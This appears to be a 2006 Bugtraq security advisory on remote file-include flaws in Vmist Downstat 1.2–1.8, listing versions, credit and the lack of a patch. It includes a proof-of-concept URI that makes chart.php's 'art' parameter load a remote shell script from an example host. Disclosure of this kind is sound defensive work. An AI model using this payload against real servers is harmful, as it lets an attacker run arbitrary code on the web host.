Vmist Downstat Remote File Include Vulnerabilities

Bugtraq ID:	20007
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 13 2006 12:00AM
Updated:	Sep 14 2006 07:32PM
Credit:	silenZ is credited with the discovery of these vulnerabilities.
Vulnerable:	vmist.net Downstat 1.8 vmist.net Downstat 1.7 vmist.net Downstat 1.6 vmist.net Downstat 1.5 vmist.net Downstat 1.4 vmist.net Downstat 1.3 vmist.net Downstat 1.2
Not Vulnerable:

Vmist Downstat Remote File Include Vulnerabilities

Vmist Downstat is prone to remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to execute arbitrary server-side script code on an affected computer in the context of the webserver process.

Version 1.8 and earlier are vulnerable; other versions may also be affected.

Vmist Downstat Remote File Include Vulnerabilities

Attackers can exploit this issue with a web client.

The following proof-of-concept URI is available:

http://www.example.com/downstat1.8/chart.php?art=http://www.example.com/shell.txt?

Vmist Downstat Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Vmist Downstat Remote File Include Vulnerabilities

References:

• Downstat Homepage (Vmist)